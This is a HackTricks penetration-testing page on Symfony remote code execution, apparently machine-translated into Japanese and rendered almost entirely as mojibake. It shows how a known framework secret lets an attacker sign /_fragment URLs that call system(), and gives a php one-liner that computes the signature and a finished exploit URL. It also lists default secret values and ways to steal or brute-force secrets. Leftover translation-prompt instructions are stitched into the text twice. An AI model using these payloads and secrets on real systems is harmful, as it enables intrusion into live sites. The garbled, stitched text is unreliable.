40 KiB
Symfony
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
-
ãµã€ããŒã»ãã¥ãªãã£äŒæ¥ã§åããŠããŸããïŒ HackTricksã§äŒç€Ÿã宣äŒãããã§ããïŒãŸãã¯ãPEASSã®ææ°ããŒãžã§ã³ã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒããããã§ããïŒSUBSCRIPTION PLANSããã§ãã¯ããŠãã ããïŒ
-
The PEASS FamilyãèŠã€ããŠãã ãããç¬å çãªNFTã®ã³ã¬ã¯ã·ã§ã³ã§ãã
-
å ¬åŒã®PEASSïŒHackTricks swagãæã«å ¥ããŸãããã
-
ð¬ Discordã°ã«ãŒããŸãã¯telegramã°ã«ãŒãã«åå ããããTwitterã§ãã©ããŒããŠãã ããðŠ@carlospolopmã
-
**ãããã³ã°ã®ããªãã¯ãå ±æããã«ã¯ãhacktricks repoãšhacktricks-cloud repo**ã«PRãæåºããŠãã ããã
ã¯ããã«
2008幎ã®åµèšä»¥æ¥ãSymfonyãã¬ãŒã ã¯ãŒã¯ã®äœ¿çšã¯ãPHPããŒã¹ã®ã¢ããªã±ãŒã·ã§ã³ã§ãŸããŸãå¢ããŠããŸãããSymfonyã¯ãDrupalãJoomlaïŒãeZPlatformïŒä»¥åã®eZPublishïŒãBoltãªã©ãå€ãã®æåãªCMSã®ã³ã¢ã³ã³ããŒãã³ããšãªã£ãŠãããã«ã¹ã¿ã ãŠã§ããµã€ãã®æ§ç¯ã«ããã䜿çšãããŸãã
Symfonyã®çµã¿èŸŒã¿æ©èœã®1ã€ã§ããESIïŒEdge-Side IncludesïŒãåŠçããããã«äœæãããFragmentListener
ã¯ã©ã¹ã¯ãéèŠãªåœ¹å²ãæãããŠããŸããå®éã誰ãã/_fragment
ã«ãªã¯ãšã¹ããçºè¡ãããšããã®ãªã¹ããŒã¯æå®ãããGETãã©ã¡ãŒã¿ãããªã¯ãšã¹ãå±æ§ãèšå®ããŸããããã«ãããä»»æã®PHPã³ãŒããå®è¡ã§ããããããªã¯ãšã¹ãã¯HMACå€ã䜿çšããŠçœ²åããå¿
èŠããããŸãããã®HMACã®ç§å¯æå·éµã¯ãSymfonyã®èšå®å€ã§ããsecret
ãšããååã§ä¿åãããŸãã
ãã®èšå®å€ã§ããsecret
ã¯ãCSRFããŒã¯ã³ãremember-meããŒã¯ã³ã®äœæã«ã䜿çšãããŸãããã®éèŠæ§ããæãããªããã«ããã®å€ã¯éåžžã«ã©ã³ãã ã§ããå¿
èŠããããŸãã
æ®å¿µãªãããããã©ã«ãå€ãæã€å Žåããå€ããªãã©ã€ã³ã§ãã«ãŒããã©ãŒã¹ã§ããæ¹æ³ãååšããå ŽåããŸãã¯åçŽã«ã»ãã¥ãªãã£ãã§ãã¯ããã€ãã¹ã§ããå ŽåããããŸããããã¯ãç¹ã«BoltãeZPlatformãeZPublishã«åœ±é¿ãäžããŸãã
ããã¯ããããªèšå®ã®åé¡ã®ããã«æãããããããŸããããããã©ã«ãã®å€ããã«ãŒããã©ãŒã¹å¯èœãªå€ãæšæž¬å¯èœãªå€ããäžèšã®CMSããã³ã«ã¹ã¿ã ã¢ããªã±ãŒã·ã§ã³ã§éåžžã«é »ç¹ã«ååšããããšãããããŸãããããã¯ãããã¥ã¡ã³ããã€ã³ã¹ããŒã«ã¬ã€ãã§ãã®éèŠæ§ã«ååãªéç¹ã眮ããªãããã§ãã
ããã«ãæ»æè
ã¯ããã¡ã€ã«ã®é瀺ãä»ããŠsecret
ãèªã¿åãïŒãã¡ã€ã«é瀺ãä»ããŠïŒã/_fragment
ã®çœ²åããã»ã¹ããã€ãã¹ããïŒSSRFã䜿çšããŠïŒãããã«ã¯phpinfo()
ãä»ããŠæŒæŽ©ãããããšããã§ããŸãïŒ
ãã®ããã°èšäºã§ã¯ãããŸããŸãªCMSããã³åºæ¬ãã¬ãŒã ã¯ãŒã¯ã§ç§å¯ãååŸããæ¹æ³ãããã³ãã®ç§å¯ã䜿çšããŠã³ãŒããå®è¡ããæ¹æ³ã«ã€ããŠèª¬æããŸãã
å°ãã®æŽå²
ã¢ãã³ãªãã¬ãŒã ã¯ãŒã¯ã§ããSymfonyã¯ããã®åµèšããçŸåšãŸã§ããªã¯ãšã¹ãã®ãµãããŒããçæããããšã«åãçµãã§ããŸããã/_fragment
ã®åã«ã¯ã/_internal
ãš/_proxy
ããããåºæ¬çã«åãããšãè¡ããŸãããããã«ããã幎ã
å€ãã®è匱æ§ãçããŸããïŒCVE-2012-6432ãCVE-2014-5245ãCVE-2015-4050ãªã©ã
Symfony 4以éãç§å¯ã¯ã€ã³ã¹ããŒã«æã«çæããã/_fragment
ããŒãžã¯ããã©ã«ãã§ç¡å¹ã«ãªã£ãŠããŸãããããã£ãŠã匱ãsecret
ãšæå¹ãª/_fragment
ã®çµã¿åããã¯ãŸãã§ãããšæããããããããŸãããããããå®éã«ã¯ããã§ã¯ãããŸãããå€ãã®ãã¬ãŒã ã¯ãŒã¯ã¯å€ãSymfonyããŒãžã§ã³ã«äŸåããŠããïŒ2.xãéåžžã«äžè¬çã§ãïŒãéçãªsecret
å€ãå®è£
ããããé©åã«çæãããŠããªãå€ãçæããŸããããã«ãå€ãã®ãã¬ãŒã ã¯ãŒã¯ã¯ESIã«äŸåããŠããããã®ãã/_fragment
ããŒãžãæå¹ã«ããŸãããŸããåŸè¿°ããããã«ãä»ã®åœ±é¿ã®å°ãªãè匱æ§ã«ãã£ãŠãå®å
šã«çæãããå Žåã§ãç§å¯ããã³ãããããšãã§ããŸãã
secret
ã®å©ããåããŠã³ãŒããå®è¡ãã
ãŸããæ»æè
ãsecret
èšå®å€ã®ç¥èãæã£ãŠããå Žåãã³ãŒãã®å®è¡æ¹æ³ã瀺ããŸããããã¯ææ°ã®symfony/http-kernel
ããŒãžã§ã³ã«å¯ŸããŠè¡ãããŸãããä»ã®ããŒãžã§ã³ã§ãåæ§ã§ãã
/_fragment
ã䜿çšããŠä»»æã®ã³ãŒããå®è¡ãã
åè¿°ã®éãã/_fragment
ããŒãžãå©çšããŸãã
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
class FragmentListener implements EventSubscriberInterface
{
public function onKernelRequest(RequestEvent $event)
{
$request = $event->getRequest();
# [1]
if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) {
return;
}
if ($request->attributes->has('_controller')) {
// Is a sub-request: no need to parse _path but it should still be removed from query parameters as below.
$request->query->remove('_path');
return;
}
# [2]
if ($event->isMasterRequest()) {
$this->validateRequest($request);
}
# [3]
parse_str($request->query->get('_path', ''), $attributes);
$request->attributes->add($attributes);
$request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes));
$request->query->remove('_path');
}
}
FragmentListener:onKernelRequest
ã¯ãã¹ãŠã®ãªã¯ãšã¹ãã§å®è¡ãããŸãããããªã¯ãšã¹ãã®ãã¹ã /_fragment
[1] ã§ããå Žåãã¡ãœããã¯ãŸããªã¯ãšã¹ããæå¹ã§ããããšïŒã€ãŸããæ£ãã眲åãããŠããããšïŒã確èªããããã§ãªãå Žåã¯äŸå€ãçºçãããŸã [2]ãã»ãã¥ãªãã£ãã§ãã¯ãæåããå Žåãã¡ãœããã¯urlãšã³ã³ãŒãããã _path
ãã©ã¡ãŒã¿ã解æããããã«å¿ã㊠$request
ã®å±æ§ãèšå®ããŸãã
ãªã¯ãšã¹ãã®å±æ§ã¯HTTPãªã¯ãšã¹ããã©ã¡ãŒã¿ãšæ··åããªãã§ãã ããããããã¯Symfonyã«ãã£ãŠç¶æãããå
éšã®å€ã§ãããéåžžã¯ãŠãŒã¶ãŒã«ãã£ãŠæå®ããããšã¯ã§ããŸããããããã®ãªã¯ãšã¹ãå±æ§ã®1ã€ã¯ _controller
ã§ãããã©ã®Symfonyã³ã³ãããŒã©ãŒïŒã¯ã©ã¹ãã¡ãœããã®ã¿ãã«ããŸãã¯åçŽãªé¢æ°ïŒãåŒã³åºãããæå®ããŸããååã _
ã§å§ãŸããªãå±æ§ã¯ãã³ã³ãããŒã©ãŒã«æž¡ãããåŒæ°ã§ããäŸãã°ããã®ã¡ãœãããåŒã³åºãããå Žåã¯ã
class SomeClass
{
public function someMethod($firstMethodParam, $secondMethodParam)
{
...
}
}
_path
ã«ã¯æ¬¡ã®ããã«èšå®ããŸãïŒ
_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2
ãã®åŸããªã¯ãšã¹ãã¯æ¬¡ã®ããã«ãªããŸãïŒ
http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...
åºæ¬çã«ãããã«ãããä»»æã®é¢æ°ãã¯ã©ã¹ã®ä»»æã®ã¡ãœãããä»»æã®ãã©ã¡ãŒã¿ã§åŒã³åºãããšãã§ããŸããSymfonyã«ã¯å€ãã®ã¯ã©ã¹ããããããã³ãŒãã®å®è¡ã¯ç°¡åã§ããäŸãã°ãsystem()
ãåŒã³åºãããšãã§ããŸãïŒ
http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...
ã·ã¹ãã ã®åŒã³åºãã¯åžžã«æ©èœããããã§ã¯ãããŸããã詳现ãªãšã¯ã¹ããã€ãã«ã€ããŠã¯ããšã¯ã¹ããã€ãã»ã¯ã·ã§ã³ãåç §ããŠãã ããã
åé¡ãæ®ã£ãŠããŸãïŒSymfonyã¯ãªã¯ãšã¹ãã®çœ²åãã©ã®ããã«æ€èšŒããã®ã§ããããïŒ
URLã®çœ²å
URLã®çœ²åãæ€èšŒããããã«ãå®å šãª URLã«å¯ŸããŠHMACãèšç®ãããŸããåŸãããããã·ã¥ã¯ããŠãŒã¶ãŒãæå®ããããã·ã¥ãšæ¯èŒãããŸãã
ã³ãŒãäžã§ã¯ãããã¯2ã€ã®å Žæã§è¡ãããŸãïŒ
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}
// is the Request signed?
if ($this->signer->checkRequest($request)) {
return;
}
# [3]
throw new AccessDeniedHttpException();
}
}
# ./vendor/symfony/http-kernel/UriSigner.php
class UriSigner
{
public function checkRequest(Request $request): bool
{
$qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : '';
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs);
}
/**
* Checks that a URI contains the correct hash.
*
* @return bool True if the URI is signed correctly, false otherwise
*/
public function check(string $uri)
{
$url = parse_url($uri);
if (isset($url['query'])) {
parse_str($url['query'], $params);
} else {
$params = [];
}
if (empty($params[$this->parameter])) {
return false;
}
$hash = $params[$this->parameter];
unset($params[$this->parameter]);
# [2]
return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
}
private function computeHash(string $uri): string
{
# [1]
return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
}
private function buildUrl(array $url, array $params = []): string
{
ksort($params, SORT_STRING);
$url['query'] = http_build_query($params, '', '&');
$scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
$host = isset($url['host']) ? $url['host'] : '';
$port = isset($url['port']) ? ':'.$url['port'] : '';
$user = isset($url['user']) ? $url['user'] : '';
$pass = isset($url['pass']) ? ':'.$url['pass'] : '';
$pass = ($user || $pass) ? "$pass@" : '';
$path = isset($url['path']) ? $url['path'] : '';
$query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
$fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';
return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
}
}
ç°¡åã«èšããšãSymfonyã¯_hash
GETãã©ã¡ãŒã¿ãæœåºãã次ã«å®å
šãªURLãåæ§ç¯ããŸããäŸãã°ãhttps://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...
ã®ãããªURLã§ãããããŠããã®URLãsecret
ãããŒãšããŠHMACã§èšç®ããäžããããããã·ã¥å€ãšæ¯èŒããŸã[1]ãããäžèŽããªãå ŽåãAccessDeniedHttpException
äŸå€ãçºçã[3]ã403
ãšã©ãŒãè¿ãããŸãã
äŸ
ããããã¹ãããããã«ããã¹ãç°å¢ãã»ããã¢ããããã·ãŒã¯ã¬ããïŒãã®å Žåã¯ã©ã³ãã ã«çæããããã®ïŒãæœåºããŸãããã
$ git clone https://github.com/symfony/skeleton.git
$ cd skeleton
$ composer install
$ sed -i -E 's/#(esi|fragment)/\1/g' config/packages/framework.yaml # Enable ESI/fragment
$ grep -F APP_SECRET .env # Find secret
APP_SECRET=50c8215b436ebfcc1d568effb624a40e
$ cd public
$ php -S 0:8000
ä»ãhttp://localhost:8000/_fragment
ã蚪ãããš 403
ãšã©ãŒã衚瀺ãããŸããã§ã¯ãæå¹ãªçœ²åãæäŸããŠã¿ãŸããã:
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', 'http://localhost:8000/_fragment', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
ããã§ãã¯ãããšã404
ã®ã¹ããŒã¿ã¹ã³ãŒããè¿ã£ãŠããŸããã·ã°ããã£ã¯æ£ããã§ããããªã¯ãšã¹ãå±æ§ãæå®ãããŠããªããããSymfonyã¯ç§ãã¡ã®ã³ã³ãããŒã©ãèŠã€ããããšãã§ããŸããã
ä»»æã®åŒæ°ãæã€ä»»æã®ã¡ãœãããåŒã³åºãããšãã§ãããããäŸãã°system($command, $return_value)
ãéžã³ã次ã®ãããªãã€ããŒããæäŸããããšãã§ããŸãïŒ
$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', '$page', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
以äžã¯ããããã³ã°æè¡ã«é¢ããæ¬ã®ã³ã³ãã³ãã§ãã以äžã®ã³ã³ãã³ãã¯ããã¡ã€ã«/hive/hacktricks/network-services-pentesting/pentesting-web/symphony.mdããã®ãã®ã§ããé¢é£ããè±èªã®ããã¹ããæ¥æ¬èªã«ç¿»èš³ãã翻蚳ãè¿ããããŒã¯ããŠã³ãšHTMLã®æ§æãå®å šã«ä¿æããŠãã ãããã³ãŒãããããã³ã°æè¡ã®ååããããã³ã°ã®èšèãã¯ã©ãŠã/SaaSãã©ãããã©ãŒã ã®ååïŒWorkspaceãawsãgcpãªã©ïŒã'leak'ãšããåèªããã³ãã¹ããããã³ããŒã¯ããŠã³ã¿ã°ãªã©ã®ãã®ã¯ç¿»èš³ããªãã§ãã ããããŸãã翻蚳ãšããŒã¯ããŠã³ã®æ§æ以å€ã®è¿œå ã®ãã®ã¯è¿œå ããªãã§ãã ããã
以äžã®ãšã¯ã¹ããã€ãURLã«ã¢ã¯ã»ã¹ã§ããŸãïŒhttp://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
ã
500
ãšã©ãŒã«ãããããããã³ãã³ããå®è¡ãããŸããã
ãã©ã°ã¡ã³ãã䜿çšããRCE
ã·ãŒã¯ã¬ããã®æ€çŽ¢
ç¹°ãè¿ããŸãããã·ãŒã¯ã¬ãããå ¥æå¯èœã§ãªããã°ããããã®ãã¹ãŠã¯éèŠã§ã¯ãããŸããããã°ãã°ããããã¯å ¥æå¯èœã§ããäºåã®ç¥èãªãã«ã³ãŒãã®å®è¡ãååŸããããã®ããã€ãã®æ¹æ³ã説æããŸãã
è匱æ§ãä»ããŠ
ãŸãã¯æãããªãã®ããå§ããŸãããïŒäœåœ±é¿ã®è匱æ§ã䜿çšããŠã·ãŒã¯ã¬ãããååŸããŸãã
ãã¡ã€ã«èªã¿åã
æããã«ããã¡ã€ã«èªã¿åãã®è匱æ§ã䜿çšããŠã次ã®ãã¡ã€ã«ãèªã¿åããsecret
ãååŸããããšãã§ããŸãïŒ
app/config/parameters.yml
.env
äŸãã°ãäžéšã®Symfonyãããã°ããŒã«ããŒã§ã¯ããã¡ã€ã«ã®èªã¿åããå¯èœã§ãã
PHPinfo
æè¿ã®SymfonyããŒãžã§ã³ïŒ3.xïŒã§ã¯ãsecret
ã¯.env
ã«APP_SECRET
ãšããŠä¿åãããŸããç°å¢å€æ°ãšããŠã€ã³ããŒãããããããphpinfo()
ããŒãžãéããŠç¢ºèªããããšãã§ããŸãã
phpinfoãéããŠAPP_SECRETãæŒæŽ©ããã
ãã®æ¹æ³ã¯ãã¹ã¯ãªãŒã³ã·ã§ããã«ç€ºãããŠããããã«ãSymfonyã®ãããã¡ã€ã©ããã±ãŒãžãä»ããŠç¹ã«è¡ãããšãã§ããŸãã
SSRF / IPã¹ããŒãã£ã³ã°ïŒCVE-2014-5245ïŒ
FragmentListener
ã®ã³ãŒãã¯å¹Žã
é²åããŠããŸãããããŒãžã§ã³2.5.3ãŸã§ããªã¯ãšã¹ããä¿¡é Œããããããã·ïŒã€ãŸãlocalhost
ïŒããæ¥ãå Žåãå®å
šãšèŠãªããããã®ããããã·ã¥ã¯ãã§ãã¯ãããŸããã§ãããããšãã°ãSSRFã䜿çšãããšãsecret
ã®æç¡ã«é¢ä¿ãªããã³ãŒããçŽã¡ã«å®è¡ããããšãã§ããŸããããã¯ãç¹ã«eZPublishã2014.7ãŸã§ã«åœ±é¿ãåããŸãã
# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
# Symfony 2.3.18
class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}
// does the Request come from a trusted IP?
$trustedIps = array_merge($this->getLocalIpAddresses(), $request->getTrustedProxies());
$remoteAddress = $request->server->get('REMOTE_ADDR');
if (IpUtils::checkIp($remoteAddress, $trustedIps)) {
return;
}
// is the Request signed?
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
if ($this->signer->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().(null !== ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''))) {
return;
}
throw new AccessDeniedHttpException();
}
protected function getLocalIpAddresses()
{
return array('127.0.0.1', 'fe80::1', '::1');
}
ããã©ã«ãå€ãéããŠ
Symfony <= 3.4.43: ThisTokenIsNotSoSecretChangeIt
Symfonyã®ãŠã§ããµã€ããã»ããã¢ããããéãæåã®ã¹ãããã¯symfony-standardã¹ã±ã«ãã³ãã€ã³ã¹ããŒã«ããããšã§ããã€ã³ã¹ããŒã«ããããšãããã³ãããããã€ãã®èšå®å€ãèŠæ±ããŸããããã©ã«ãã§ã¯ãããŒã¯ThisTokenIsNotSoSecretChangeIt
ã§ãã
composerãéããSymfonyã®ã€ã³ã¹ããŒã«
åŸã®ããŒãžã§ã³ïŒ4以äžïŒã§ã¯ãã·ãŒã¯ã¬ããããŒã¯å®å šã«çæãããŸãã
ezPlatform 3.xïŒææ°ïŒ: ff6dc61a329dc96652bb092ec58981f7
ezPlatformã¯ãezPublishã®åŸç¶ã§ããããŸã Symfonyã䜿çšããŠããŸãã2019幎6æ10æ¥ã«ãcommitãããã©ã«ãããŒãff6dc61a329dc96652bb092ec58981f7
ã«èšå®ããŸãããè匱ãªããŒãžã§ã³ã¯3.0-alpha1ãã3.1.1ïŒçŸåšã®ããŒãžã§ã³ïŒãŸã§ã§ãã
ããã¥ã¡ã³ãã§ã¯ãã·ãŒã¯ã¬ãããå€æŽããå¿ èŠããããšèšèŒãããŠããŸããã匷å¶ãããŠããŸããã
ezPlatform 2.x: ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
Symfonyã®ã¹ã±ã«ãã³ãšåæ§ã«ãã€ã³ã¹ããŒã«äžã«ã·ãŒã¯ã¬ãããå
¥åããããã«æ±ããããŸããããã©ã«ãå€ã¯ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
ã§ãã
Bolt CMS <= 3.7ïŒææ°ïŒ: md5(__DIR__)
Bolt CMSã¯ãSymfonyã«åºã¥ãéæšå¥šã®ãã€ã¯ããã¬ãŒã ã¯ãŒã¯ã§ããSilexã䜿çšããŠããŸãããã®èšç®ã䜿çšããŠã·ãŒã¯ã¬ããããŒãèšå®ããŸãïŒ
# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
$app['uri_signer.secret'] = md5(__DIR__);
# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
$app['form.secret'] = md5(__DIR__);
ãããã£ãŠãç§å¯ãæšæž¬ããããFull Path Disclosureã®è匱æ§ã䜿çšããŠèšç®ããããšãã§ããŸãã
ããã©ã«ãã®ç§å¯ããŒã§æåããªãã£ãå Žåããããããªãã§ãã ããïŒä»ã®æ¹æ³ããããŸãã
ãã«ãŒããã©ãŒã¹
ç§å¯ã¯ãã°ãã°æåã§èšå®ãããããïŒã©ã³ãã ã«çæãããã®ã§ã¯ãªãïŒã人ã
ã¯å®å
šãªã©ã³ãã ãªå€ã®ä»£ããã«ãã¹ãã¬ãŒãºã䜿çšããããšããããããŸãããã®ãããããã·ã¥ããã«ãŒããã©ãŒã¹ããããã®æå¹ãª /_fragment
URLïŒSymfonyã«ãã£ãŠçæããããã®ãªã©ïŒãããã°ãç§å¯ããã«ãŒããã©ãŒã¹ããããšãã§ããŸãã
ã¬ã¹ãã³ã¹ã«ã¯ãã©ã°ã¡ã³ããžã®æå¹ãªãªã¯ãšã¹ããå«ãŸããŠããŸã
ãã®ããã°ãã¹ãã®åé ã§ãSymfonyã®ç§å¯ã«ã¯ããã€ãã®çšéããããšè¿°ã¹ãŸããããã®çšéã®1ã€ã¯ãCSRFããŒã¯ã³ãçæããããã«ã䜿çšãããããšã§ããsecret
ã®ãã1ã€ã®çšéã¯ãremember-meã¯ãããŒã«çœ²åããããšã§ããå Žåã«ãã£ãŠã¯ãæ»æè
ã¯ç¬èªã®CSRFããŒã¯ã³ãŸãã¯remember-meã¯ãããŒã䜿çšããŠãsecret
ã®å€ããã«ãŒããã©ãŒã¹ããããšãã§ããŸãã
ãããã®ããŒã¯ã³ã®æ§ç¯ã®ãªããŒã¹ãšã³ãžãã¢ãªã³ã°ã¯ãèªè ã«ãšã£ãŠã®æŒç¿ãšããŠæ®ãããŠããŸãã
ããã«é²ãïŒeZPublish
ã³ãŒãå®è¡ãéæããããã«ãç§å¯ããã«ãŒããã©ãŒã¹ããæ¹æ³ãèŠãããã«ãeZPublish 2014.07ã®ç§å¯ãèŠã€ããæ¹æ³ãèŠãŠã¿ãŸãããã
ãã«ãŒããã©ãŒã¹çŽ æã®èŠã€ãæ¹
eZPublishã¯ã次ã®ããã«CSRFããŒã¯ã³ãçæããŸãïŒ
# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );
ãã®ããŒã¯ã³ãæ§ç¯ããããã«ãeZPã¯2ã€ã®æ¢ç¥ã®å€ãšã·ãŒã¯ã¬ããã䜿çšããŸãïŒgetIntention()
ã¯ãŠãŒã¶ãŒãè©Šã¿ãŠããã¢ã¯ã·ã§ã³ïŒããšãã°authenticate
ïŒã§ããsession_id()
ã¯PHPã»ãã·ã§ã³IDã§ãããããŠãgetSecret()
ã¯Symfonyã®secret
ã§ãã
CSRFããŒã¯ã³ã¯äžéšã®ãã©ãŒã ã«ååšãããããã·ãŒã¯ã¬ããããã«ãŒããã©ãŒã¹ã§ããææãæã«å ¥ããŸããã
æ®å¿µãªãããezPublishã¯sensiolabsã®ãã³ãã«ãsensio/distribution-bundleãçµã¿èŸŒãã§ããŸãããã®ããã±ãŒãžã¯ã·ãŒã¯ã¬ããããŒãã©ã³ãã ã§ããããšã確èªããŸããã€ã³ã¹ããŒã«æã«æ¬¡ã®ããã«çæãããŸãïŒ
# ./vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Configurator/Step/SecretStep.php
private function generateRandomSecret()
{
return hash('sha1', uniqid(mt_rand()));
}
以äžã¯ã/hive/hacktricks/network-services-pentesting/pentesting-web/symphony.mdãšãããã¡ã€ã«ããã®ã³ã³ãã³ãã§ããé¢é£ããè±èªã®ããã¹ããæ¥æ¬èªã«ç¿»èš³ãã翻蚳ãä¿æããŠåãããŒã¯ããŠã³ãšHTMLã®æ§æãè¿ããŠãã ãããã³ãŒãããããã³ã°æè¡ã®ååããããã³ã°ã®èšèãã¯ã©ãŠã/SaaSãã©ãããã©ãŒã ã®ååïŒWorkspaceãawsãgcpãªã©ïŒã'leak'ãšããåèªããã³ãã¹ããããã³ããŒã¯ããŠã³ã¿ã°ãªã©ã¯ç¿»èš³ããªãã§ãã ããããŸãã翻蚳ãšããŒã¯ããŠã³ã®æ§æ以å€ã®è¿œå ã®èŠçŽ ã¯è¿œå ããªãã§ãã ããã
This looks really hard to bruteforce: `mt_rand()` can yield 231 different values, and `uniqid()` is built from the current timestamp (with microseconds).
ããã¯æ¬åœã«ãã«ãŒããã©ãŒã¹ãé£ããããã§ãïŒ`mt_rand()`ã¯231åã®ç°ãªãå€ãçæããå¯èœæ§ãããã`uniqid()`ã¯çŸåšã®ã¿ã€ã ã¹ã¿ã³ãïŒãã€ã¯ãç§åäœïŒããæ§ç¯ãããŠããŸãã
// Simplified uniqid code
struct timeval tv;
gettimeofday(&tv, NULL);
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);
ã¿ã€ã ã¹ã¿ã³ãã®æŒæŽ©
幞éãªããšã«ããã®ç§å¯ã¯ã€ã³ã¹ããŒã«ã®æåŸã®ã¹ãããã§çæãããŸãããŠã§ããµã€ããèšå®ãããçŽåŸã«çæãããããããããããã®ããã·ã¥ãçæããããã«äœ¿çšãããã¿ã€ã ã¹ã¿ã³ããæŒæŽ©ãããããšãã§ããã§ãããã
ãã®æ¹æ³ã®äžã€ã¯ããã°ïŒäŸïŒ/var/log/storage.log
ïŒã䜿çšããããšã§ãããã£ãã·ã¥ãšã³ããªãäœæãããæåã®æéãæŒæŽ©ãããããšãã§ããŸãããã£ãã·ã¥ãšã³ããªã¯ãgenerateRandomSecret()
ãåŒã³åºãããçŽåŸã«äœæãããŸãã
ãµã³ãã«ãã°ã®å 容ïŒã¿ã€ã ã¹ã¿ã³ãã¯ãã·ãŒã¯ã¬ããã®èšç®ã«äœ¿çšããããã®ãšäŒŒãŠããŸã
ãã°ãå©çšã§ããªãå ŽåãeZPublishã®éåžžã«åŒ·åãªæ€çŽ¢ãšã³ãžã³ã䜿çšããŠããŠã§ããµã€ãã®æåã®èŠçŽ ã®äœææå»ãèŠã€ããããšãã§ããŸããå®éããµã€ããäœæããããšãããŒã¿ããŒã¹ã«å€ãã®ã¿ã€ã ã¹ã¿ã³ããå
¥åãããŸããããã¯ãeZPublishãŠã§ããµã€ãã®åæããŒã¿ã®ã¿ã€ã ã¹ã¿ã³ããuniqid()
ãèšç®ããããã«äœ¿çšããããã®ãšåãã§ããããšãæå³ããŸããlanding_page
ã®_ContentObject_ãæ€çŽ¢ãããã®ã¿ã€ã ã¹ã¿ã³ãã調ã¹ãããšãã§ããŸãã
æ¬ èœããŠããéšåã®ãã«ãŒããã©ãŒã¹
ä»ãã·ãŒã¯ã¬ãããèšç®ããããã«äœ¿çšãããã¿ã€ã ã¹ã¿ã³ããšã次ã®åœ¢åŒã®ããã·ã¥ã«ã€ããŠç¥ãããšãã§ããŸããïŒ
$random_value = mt_rand();
$timestamp_hex = sprintf("%08x%05x", $known_timestamp, $microseconds);
$known_plaintext = '<intention><sessionID>';
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);
ããã«ãããåèš231 * 106ã®å¯èœæ§ãæ®ããŸããhashcatãšåªããGPUã»ããã䜿çšããã°ãå®çŸå¯èœã§ãããhashcatã«ã¯sha1(sha1($pass).$salt)
ã«ãŒãã«ãæäŸãããŠããŸããã幞ããªããšã«ãç§ãã¡ã¯ãããå®è£
ããŸããïŒããã§ãã«ãªã¯ãšã¹ããèŠã€ããããšãã§ããŸãã
ç§ãã¡ã®ã¯ã©ããã³ã°ãã·ã³ã¯8ã€ã®GPUãæèŒããŠããããã®ããã·ã¥ãã20æéæªæºãã§ã¯ã©ãã¯ããããšãã§ããŸãã
ããã·ã¥ãååŸããåŸã/_fragment
ã䜿çšããŠã³ãŒããå®è¡ããããšãã§ããŸãã
çµè«
Symfonyã¯çŸåšãå€ãã®PHPã¢ããªã±ãŒã·ã§ã³ã®äžæ žã³ã³ããŒãã³ããšãªã£ãŠããŸãããã®ããããã¬ãŒã ã¯ãŒã¯ã«åœ±é¿ãäžããã»ãã¥ãªãã£ãªã¹ã¯ã¯å€ãã®ãŠã§ããµã€ãã«åœ±é¿ãäžããŸãããã®èšäºã§ç€ºãããŠããããã«ã匱ãã·ãŒã¯ã¬ãããŸãã¯åœ±é¿ã®å°ãªãè匱æ§ã«ãããæ»æè ã¯ãªã¢ãŒãã³ãŒãå®è¡ãè¡ãããšãã§ããŸãã
